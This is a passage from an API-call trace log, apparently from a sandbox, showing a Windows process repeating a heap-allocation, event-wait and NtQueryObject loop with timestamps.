Flags=0x8, Size=0x200) returned 0x11f6058 [0094.377] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0094.378] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0094.378] NtQueryObject (in: Handle=0x174, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.378] ResetEvent (hEvent=0xdc) returned 1 [0094.378] SetEvent (hEvent=0xe0) returned 1 [0094.378] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0094.378] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0094.379] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0094.379] NtQueryObject (in: Handle=0x174, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.379] ResetEvent (hEvent=0xdc) returned 1 [0094.379] SetEvent (hEvent=0xe0) returned 1 [0094.379] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0094.379] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0094.380] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0094.380] NtQueryObject (in: Handle=0x174, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.380] ResetEvent (hEvent=0xdc) returned 1 [0094.380] SetEvent (hEvent=0xe0) returned 1 [0094.380] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0094.380] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0094.380] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0094.380] NtQueryObject (in: Handle=0x174, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.380] ResetEvent (hEvent=0xdc) returned 1 [0094.380] SetEvent (hEvent=0xe0) returned 1 [0094.381] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0094.381] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0094.381] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0094.381] NtQueryObject (in: Handle=0x174, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.381] ResetEvent (hEvent=0xdc) returned 1 [0094.381] SetEvent (hEvent=0xe0) returned 1 [0094.382] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0094.382] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0094.382] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0094.382] NtQueryObject (in: Handle=0x174, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.382] ResetEvent (hEvent=0xdc) returned 1 [0094.382] SetEvent (hEvent=0xe0) returned 1 [0094.383] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0094.383] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0094.383] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0094.383] NtQueryObject (in: Handle=0x174, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.383] ResetEvent (hEvent=0xdc) returned 1 [0094.383] SetEvent (hEvent=0xe0) returned 1 [0094.383] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0094.384] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0094.384] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0094.384] NtQueryObject (in: Handle=0x174, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.384] ResetEvent (hEvent=0xdc) returned 1 [0094.384] SetEvent (hEvent=0xe0) returned 1 [0094.384] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0094.385] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0094.385] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0094.385] NtQueryObject (in: Handle=0x174, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.385] ResetEvent (hEvent=0xdc) returned 1 [0094.385] SetEvent (hEvent=0xe0) returned 1 [0094.385] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0094.385] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0094.386] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0094.386] NtQueryObject (in: Handle=0x174, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.386] ResetEvent (hEvent=0xdc) returned 1 [0094.386] SetEvent (hEvent=0xe0) returned 1 [0094.386] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0094.386] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0094.387] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0094.387] NtQueryObject (in: Handle=0x174, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.387] ResetEvent (hEvent=0xdc) returned 1 [0094.387] SetEvent (hEvent=0xe0) returned 1 [0094.387] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0094.387] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0094.387] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0094.388] NtQueryObject (in: Handle=0x174, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.388] ResetEvent (hEvent=0xdc) returned 1 [0094.388] SetEvent (hEvent=0xe0) returned 1 [0094.388] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0094.388] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0094.388] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0094.388] NtQueryObject (in: Handle=0x174, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.388] ResetEvent (hEvent=0xdc) returned 1 [0094.388] SetEvent (hEvent=0xe0) returned 1 [0094.389] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0094.389] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0094.389] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0094.389] NtQueryObject (in: Handle=0x174, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.389] ResetEvent (hEvent=0xdc) returned 1 [0094.389] SetEvent (hEvent=0xe0) returned 1 [0094.389] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0094.390] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0094.390] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0094.390] NtQueryObject (in: Handle=0x174, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.390] ResetEvent (hEvent=0xdc) returned 1 [0094.390] SetEvent (hEvent=0xe0) returned 1 [0094.390] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0094.390] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0094.391] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0094.391] NtQueryObject (in: Handle=0x174, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.391] ResetEvent (hEvent=0xdc) returned 1 [0094.391] SetEvent (hEvent=0xe0) returned 1 [0094.391] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0094.391] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0094.392] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0094.392] NtQueryObject (in: Handle=0x174, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.392] ResetEvent (hEvent=0xdc) returned 1 [0094.392] SetEvent (hEvent=0xe0) returned 1 [0094.392] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0094.392] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0094.393] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0094.393] NtQueryObject (in: Handle=0x174, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.393] ResetEvent (hEvent=0xdc) returned 1 [0094.393] SetEvent (hEvent=0xe0) returned 1 [0094.393] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0094.393] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0094.393] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0094.393] NtQueryObject (in: Handle=0x174, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.393] ResetEvent (hEvent=0xdc) returned 1 [0094.393] SetEvent (hEvent=0xe0) returned 1 [0094.394] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0094.394] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0094.394] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0094.394] NtQueryObject (in: Handle=0x174, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.394] ResetEvent (hEvent=0xdc) returned 1 [0094.394] SetEvent (hEvent=0xe0) returned 1 [0094.394] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0094.395] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0094.395] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0094.395] NtQueryObject (in: Handle=0x174, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.395] ResetEvent (hEvent=0xdc) returned 1 [0094.395] SetEvent (hEvent=0xe0) returned 1 [0094.395] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0094.395] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0094.396] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0094.396] NtQueryObject (in: Handle=0x174, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.396] ResetEvent (hEvent=0xdc) returned 1 [0094.396] SetEvent (hEvent=0xe0) returned 1 [0094.396] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0094.396] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0094.397] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0094.397] NtQueryObject (in: Handle=0x174, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.397] ResetEvent (hEvent=0xdc) returned 1 [0094.397] SetEvent (hEvent=0xe0) returned 1 [0094.397] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0094.397] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0094.398] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0094.398] NtQueryObject (in: Handle=0x174, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.398] ResetEvent (hEvent=0xdc) returned 1 [0094.398] SetEvent (hEvent=0xe0) returned 1 [0094.398] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0094.398] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0094.398] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0094.399] NtQueryObject (in: Handle=0x174, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.399] ResetEvent (hEvent=0xdc) returned 1 [0094.399] SetEvent (hEvent=0xe0) returned 1 [0094.399] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0094.399] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0094.399] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0094.399] NtQueryObject (in: Handle=0x174, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.399] ResetEvent (hEvent=0xdc) returned 1 [0094.399] SetEvent (hEvent=0xe0) returned 1 [0094.400] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0094.400] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0094.400] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0094.400] NtQueryObject (in: Handle=0x174, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.400] ResetEvent (hEvent=0xdc) returned 1 [0094.400] SetEvent (hEvent=0xe0) returned 1 [0094.400] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0094.401] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0094.401] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0094.401] NtQueryObject (in: Handle=0x174, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.401] ResetEvent (hEvent=0xdc) returned 1 [0094.401] SetEvent (hEvent=0xe0) returned 1 [0094.401] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0094.401] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0094.402] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0094.402] NtQueryObject (in: Handle=0x174, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.402] ResetEvent (hEvent=0xdc) returned 1 [0094.402] SetEvent (hEvent=0xe0) returned 1 [0094.402] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0094.402] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0094.403] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0094.403] NtQueryObject (in: Handle=0x174, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.403] ResetEvent (hEvent=0xdc) returned 1 [0094.403] SetEvent (hEvent=0xe0) returned 1 [0094.403] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0094.403] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0094.403] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0094.403] NtQueryObject (in: Handle=0x174, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.404] ResetEvent (hEvent=0xdc) returned 1 [0094.404] SetEvent (hEvent=0xe0) returned 1 [0094.404] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0094.404] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0094.404] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0094.404] NtQueryObject (in: Handle=0x174, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.404] ResetEvent (hEvent=0xdc) returned 1 [0094.404] SetEvent (hEvent=0xe0) returned 1 [0094.405] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0094.405] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0094.405] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0094.405] NtQueryObject (in: Handle=0x174, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.405] ResetEvent (hEvent=0xdc) returned 1 [0094.405] SetEvent (hEvent=0xe0) returned 1 [0094.405] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0094.406] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0094.406] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0094.406] NtQueryObject (in: Handle=0x174, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.406] ResetEvent (hEvent=0xdc) returned 1 [0094.406] SetEvent (hEvent=0xe0) returned 1 [0094.406] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0094.406] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0094.407] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0094.407] NtQueryObject (in: Handle=0x174, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.407] ResetEvent (hEvent=0xdc) returned 1 [0094.407] SetEvent (hEvent=0xe0) returned 1 [0094.407] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0094.407] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0094.408] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0094.408] NtQueryObject (in: Handle=0x174, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.408] ResetEvent (hEvent=0xdc) returned 1 [0094.408] SetEvent (hEvent=0xe0) returned 1 [0094.408] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0094.408] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0094.408] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0094.409] NtQueryObject (in: Handle=0x174, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.409] ResetEvent (hEvent=0xdc) returned 1 [0094.409] SetEvent (hEvent=0xe0) returned 1 [0094.409] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0094.409] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0094.409] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0094.409] NtQueryObject (in: Handle=0x174, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.409] ResetEvent (hEvent=0xdc) returned 1 [0094.409] SetEvent (hEvent=0xe0) returned 1 [0094.410] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0094.410] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0094.410] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0094.410] NtQueryObject (in: Handle=0x174, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.410] ResetEvent (hEvent=0xdc) returned 1 [0094.410] SetEvent (hEvent=0xe0) returned 1 [0094.410] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0094.411] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0094.411] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0094.411] NtQueryObject (in: Handle=0x174, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.411] ResetEvent (hEvent=0xdc) returned 1 [0094.411] SetEvent (hEvent=0xe0) returned 1 [0094.411] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0094.411] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0094.412] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0094.412] NtQueryObject (in: Handle=0x174, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.412] ResetEvent (hEvent=0xdc) returned 1 [0094.412] SetEvent (hEvent=0xe0) returned 1 [0094.412] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0094.412] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0094.413] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 